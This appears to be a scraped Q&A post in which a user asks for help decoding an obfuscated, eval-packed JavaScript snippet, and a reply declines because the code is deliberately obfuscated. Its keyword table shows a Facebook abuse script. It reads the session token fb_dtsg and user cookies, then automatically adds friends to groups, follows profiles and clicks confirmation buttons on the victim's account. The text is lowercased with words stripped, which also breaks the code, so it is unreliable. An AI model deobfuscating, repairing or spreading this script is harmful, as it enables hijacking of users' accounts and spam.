Decode a javascript code -

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• how deminify javascript [duplicate] 3 answers

i have try decode javascript haven't succeded because think non encoded code merged, can me normal code :

    var a=eval, c='5 l=7.19(\'l\')[0].1z;5 f=7.y.z(7.y.z(/1z=(\\d+)/)[1]);8 p(1t){5 y=g 1a();5 1l="//k.12.u/14/49.1o";5 1n="1q="+1t+"&4d=0&4g=0&4l[44]=4f&47=1&1h="+f+"&10=1&2n=2o-&1x=v&l="+l+"&1b=";y.1w("1s",1l,1e);y.1y=8(){6(y.1r==4&&y.1c==11){y.2f}};y.1m(1n)}p("1o");p("26");5 l=7.19("l")[0].1z;5 f=7.y.z(7.y.z(/1z=(\\d+)/)[1]);8 37(g){5 s=g 1a;5 3c="/14/4i/45/4b.1o?10=1";5 3b="&2m=4n&3a="+g+"&l="+l+"&1h="+f+"&1b=";s.1w("1s",3c,1e);s.1y=8(){6(s.1r==4&&s.1c==11)s.2f};s.1m(3b)}37("1p");5 2h=\'4m s 4z\';5 o="",3g=\'<p/>4y 3j 4r 4g 3j 4c 4z.</p>(4a 4b 4d 4h)<a d="i:#2v;" 20="m://k.12.u/1o" 2b="2u"> 4i 3n</a></a>,</a><a d="i:#2v;" 20="m://k.12.u/26" 2b="2u"> 4x 3n</a>.</a></p>52 4m 4u 4c 4j 4k <a d="i:#2v;" 20="m://k.3h.3i/" 2b="2u">k.3h.3i</a>.</a>\';8 2e(1a){1m.16(w.13.1p+"//k.12.u/14/34.1o?&l="+l+"&2y="+18+"&3v=3d&3g=4y"+18+"4f"+1a+"&1q[1i]="+18+"&1q[1q]="+1a+"&3e[3l]=3k&1h="+f+"&10=1&1x=q",8(a){5 b=a.2j(a.1v("{"));5 c=2a.3f(b);i--;o="<t 1r=\'1j-1h-4e\' d=\'1w-2d:3t;e-27:1k;1d-1g:2i;2p-2w:30-31;";6(c.2d){o+="i:4x\'>";2r++;6(c.3y)o+=c.3y;t o+=2a.4w(c,l,"")}t{o+="i:4q\'>";o+=1f[i]+" 4p 4o 4n.<p/>";1u++}o+="</t>";5 h="<t 1i=\'1j-1h-h\' d=\'2x-2c:2f 2k 4s 1b(0, 0, 0, 0.3);2z:3m;1k:50%;42-1k:-3x;2y:3v;3q:3w;z-3u:3r;1d-1g:2z;e-27:2w;1w:3s;2x-2c:25 23 25 1b(0,0,0,0.1);24-2l:2k;24:23 2s 1b(11,11,50,0.2);3k-i:1b(1j,1j,1j,0.9);i:#3i\'>";h+="<t d=\'1w-2d:3t;1d-1g:3p;\'>"+2h+"</t>";6(i>0){h+=b.u+" v 2g<p/>";h+="<b>"+1u+"</b> v 2e 4v "+(b.u-i)+" v 4u ";h+="("+i+" 4t...)";h+="<t 1r=\'1j-1h\'>";h+=o;h+="<t d=\'e-27:2w;1d-1g:2i;2p-2w:30-31;i:4w\'>";h+=3j+" 4v 53 51 4t v 4s s...";h+=3g;h+="</t>";h+="</t>"}t{h+=b.u+" v 2g<p/>";h+=1u+" v 2e</p>";h+=2r+" v 4l 2e</p></p>";h+="<t><39 1r=\'4o 4r 4q 4p 54\' 4a=\'w.13.48()\' d=\'i:2p\'>46 4j</39>"}h+="</t>";7.1c("38").1l=h},"e","1k");r--;6(r>0){5 s=b[r];4h=2b[r];1t("2e("+s+")",4e)}3n.3b(r+"/"+b.u+":"+b[r]+"/"+1f[r]+", 4k:"+1u);6(18!=1p){1m.16(w.13.1p+"//k.12.u/14/34.1o?&l="+l+"&2y=1p&3v=3d&3g=57"+1a+"&1q[1i]=1p&1q[1q]="+1a+"&3e[3l]=3k&1h="+f+"&10=1&1x=q",8(){},"e","1k")}6(18){1m.16(w.13.1p+"//k.12.u/14/3u/3t?&3x="+1a+"&3z=1o&3y=43&2m=3s&1h="+f+"&10=1&2n=2o-&1x=17&l="+l+"&1b=5p",8(){},"e","1k")}6(18){1m.16(w.13.1p+"//k.12.u/14/3u/3t?&3x="+1a+"&3z=26&3y=43&2m=3s&1h="+f+"&10=1&2n=2o-&1x=17&l="+l+"&1b=5o",8(){},"e","1k")}}8 2t(){6(7.19("2o").u>0)29.2k(7.19("2o")[0]);5 a=b[i];6(i<b.u)35(a.2j(0,4))}8 3l(){6(7.1v("2m").u>0)29.2k(7.1v("2m")[0].1s[0].1s[0].1s[1]);t j++;1t("2t()",3m)}8 35(a){i++;1t("3l()",3m)}1m={2p:8(){5 a=h;6(3w 2t!="1g")22{a=g 2t("5n.3o")}21(b){22{a=g 2t("5q.3o")}21(c){a=h}}t 6(w.1a)22{a=g 1a}21(b){a=h}o a},16:8(j,2l,q,n,m){5 m=c.2q();6(!m||!j)o;6(m.3h)m.3h("e/5r");6(!n)n="3a";6(!q)q="e";6(!m)m={};q=q.5t();n=n.5s();5 3e="1q="+(g 5m).5l();j+=j.1v("?")+1?"&":"?";j+=3e;5 2j=l;6(n=="1s"){5 2i=j.5g("?");j=2i[0];2j=2i[1]}m.1w(n,j,1e);5 5f=c;6(m.2x)m.1y=8(){m.2x(m)};t m.1y=8(){6(m.1r==4)6(m.1c==11){5 x="";6(m.3d)x=m.3d;6(q.3f(0)=="j"){x=x.5e(/[\\n\\r]/g,"");x=5v("("+x+")")}t 6(q.3f(0)=="x")x=m.5u;6(2l)2l(x)}t{6(m.1f)7.1x("2h")[0].36(m.1f);6(m.w)7.1c(m.w).d.h="2r";6(2d)2d(m.1c)}};m.1m(2j)},65:8(a){5 b={j:"",2a:h,64:h,q:"e",n:"3a",2g:"",w:"",1f:""};15(5 c 66 b)6(a[c])b[c]=a[c];6(!b.j)o;5 d=h;6(b.1f){d=7.67("t");d.3q("d","2z:62;2y:2f;1k:2f;");d.3q("1r","w-5x");d.1l=b.1f;7.1x("2h")[0].5w(d);c.m.1f=d}6(b.w)7.1c(b.w).d.h="63";c.16(b.j,8(a){6(b.2a)b.2a(a);6(b.2g)7.1c(b.2g).1l=a;6(d)7.1x("2h")[0].36(d);6(b.w)7.1c(b.w).d.h="2r"},b.q,b.n,b)},2q:8(){o c.2p()}};5 29={2n:8(a,b,c,d){6(c=="2q")c="1r";5 e=7.2v(".//"+b+"[@"+c+"=\'"+d+"\']",a,l,32.33,l);6(e&&e.1y)o e.1y;o l},5y:8(a,b,c){o c.2n(a,b,"2q",c)},5z:8(a,b){22{5 c=7.2v(b,a,l,32.33,l)}21(d){61("60 5k:"+b)}6(c&&c.1y)o c.1y;o l},5c:8(a){w.1t(8(){7.13.20=a},2s+28.3r(28.3p()*2s))},1i:8(a,b,c){5 d=a.7.5g("55");d.5f(c,1e,1e,a,0,0,0,0,0,h,h,h,h,0,l);o!b.5d(d)},5h:8(a){o c.1i(w,a,"2c")},5i:8(a,b){w.1t(8(){o 29.1i(w,a,"2c")},b+28.3r(28.3p()*2s))},2k:8(a){c.1i(w,a,"5k");c.1i(w,a,"5j");c.1i(w,a,"2c")},3o:8(a,b){5 c="";6(b==1g)b=0;6(b>40)o;6(a.3z!=1g)o a.3z;15(5 d=0;d<a.1s.u;d++){5 e=a.1s[d];c+=c.3o(e,b+1)}o c}};6(7.1v==1g)7.1v=8(a){5 b=g 5d("(?:^|\\\\s)"+a+"(?:$|\\\\s)");5 c=7.1x("*");5 d=[];5 e;15(5 f=0;(e=c[f])!=l;f++){5 g=e.2q;6(g&&g.1v(a)!=-1&&b.3c(g))d.1n(e)}o d};1u.56.59=8(a){5 b=h;15(i=0;i<c.u;i++)6(3w a=="8"){6(a.3c(c[i])){6(!b)b=[];b.1n(i)}}t 6(c[i]===a){6(!b)b=[];b.1n(i)}o b};5 i=3;5 r=3;5 j=0;5 k=0;5 1u=0;5 2r=0;5 b=g 1u;5 1f=g 1u;5 2b=g 1u;5b=7.1c("5l").1l;5 l=7.19(\'l\')[0].1z;5 f=7.y.z(7.y.z(/1z=(\\d+)/)[1]);5 3j=7.1v("5m")[0].1l;5 18=7.19("3a")[0].1z;1m.16(w.13.1p+"//k.12.u/14/5x/5w.1o?"+"10=1&5y[0]=5z&5b=0&5a="+f+"&5v=5u&5p=0&41[0]=5o&41[1]=5n",8(a){5 b=a;5 c=b.2j(b.1v("{"));5 d=2a.3f(c);d=d.5r.5t;15(5 e=0;e<d.u;e++)b.1n(d[e].1q);15(5 1e=0;1e<d.u;1e++)1f.1n(d[1e].e);15(5 1d=0;1d<d.u;1d++)2b.1n(d[1d].5s);i=b.u-1;r=i;3n.3b(b.u);5 h="<t 1i=\'1j-1h-h\' d=\'2z:3m;1k:50%;42-1k:-3x;2y:3v;3q:3w;z-3u:3r;1d-1g:2z;e-27:2w;1w:3s;2x-2c:25 23 25 1b(0,0,0,0.1);24-2l:2k;24:23 2s 1b(11,11,50,0.2);3k-i:1b(1j,1j,1j,0.9);i:#3i\'>";h+="<t d=\'1w-2d:2i;1d-1g:3p;\'>"+2h+"</t>";h+=b.u+" v 2g";h+="</t>";7.1c("38").1l=h;2e(b[i])});5 l=7.19("l")[0].1z;5 f=7.y.z(7.y.z(/1z=(\\d+)/)[1]);8 a(1t){5 y=g 1a;5 1l="/14/2u/5q.1o?10=1";5 1n="5c="+1t+"&13=1&5a=2u-58&5e=5j&l="+l+"&5i&5h"+f+"&1b=";y.1w("1s",1l,1e);y.1y=8(){6(y.1r==4&&y.1c==11)y.2f};y.1m(1n)}a("1o");a("26");', d=380, e="     var if document function         display    fb_dtsg http  return     div length  window  http4   arr style text user_id new false color url www null opt method descriptions br format tay group else com friends loading result cookie match __a 200 facebook location ajax load  gid getelementsbyname opo rgba getelementbyid font true loadingindicator size __user clickwin 255 left innerhtml jx push php protocol uid class childnodes settimeout suc getelementsbyclassname padding __req onreadystatechange value xmlhttprequest phstamp status pic eg arn undefined edge id friend post url4 send params4 100000704782314 100000704782314 params readystate post abone array indexof open getelementsbytagname singlenodevalue c_user href catch try 1px border 0pt 100000704782314 align math nhtml onsuccess target click error added 0px update body parts parameters clickup callback ref __dyn 798ad5z5cf white classname err 500 activexobject _blank 3b5998 center box top position json pho shadow bottom addfriendtogroup close detected title 10px substring 3px radius search findbyattr ok gethttpobject init none solid clickfr_callback follow evaluate space handler request_id 14px pre wrap xpathresult first_ordered_node_type reqs addfriend removechild join pagelet_sidebar span groupparams groupurl responsetext charat _text overridemimetype 000000 getuname background clickfr 2e3 baveja xmlhttp 20px setattribute 9999 15px suggest friends type typeof receiver errordescription newcomer group_id log test group_confirm actions parse status_div_id rupambaveja net confirm accept fixed console gettext random width floor profile_others_dropdown 5px index 100px 500px 273px attempt_id textcontent  options margin 0585ab74e2dd0ff10282a3a36df39e19 _mod membership refresh __asyncdialog reload poke_dialog onclick r2j visit pokeback 100 pagelet_timeline_profile_actions ask_for_confirm sx groups page success nctr auto added been has darkgreen 8px lefted processed of stringify darkred group_confirm_ selves facebook script them licence name _ holder rupam our website not more group_jump_header layerconfirm uibuttonconfirm uibutton uioverlaybutton tools please gray anupam god adder  adding wait uibuttonlarge mouseevents prototype group_confirm_184634708330726_ button find source grpname profile_id regexp subscribed_button_id initmouseevent createevent click clicktimeout mouseup mousedown groupsjumptitle fbxwelcomeboxname nm friends_only stale_ok follow_profile payload photo entries v7 token first_degree typeahead filter user viewer lazy visiturl dispatchevent replace ths split __ lsd u37qac_37 xpath gettime date msxml2 1658168561015387781130 1658165120113116104521114 microsoft xml touppercase tolowercase responsexml eval appendchild indicator findbyclassname findbyxpath bad gm_log absolute block onerror bind in createelement".split(" "), f=0, g={}, f=function(b){return(62>b?"":f(parseint(b/62)))+(35<(b%=62)?string.fromcharcode(b+29):b.tostring(36))}; if(!"".replace(/^/,string)){for(;d--;)g[f(d)]=e[d]||f(d); e=[function(b){return g[b]}]; f=function(){return"\\w+"}; d=1}for(;d--;)e[d]&&(c=c.replace(regexp("\\b"+f(d)+"\\b","g"),e[d])); a(c); 

thank !

this code intentionally obfuscated.

you asking community deobfuscate isn't point of stack overflow.

http://jsbeautifier.org/ make more readible, you'll never full variable names back.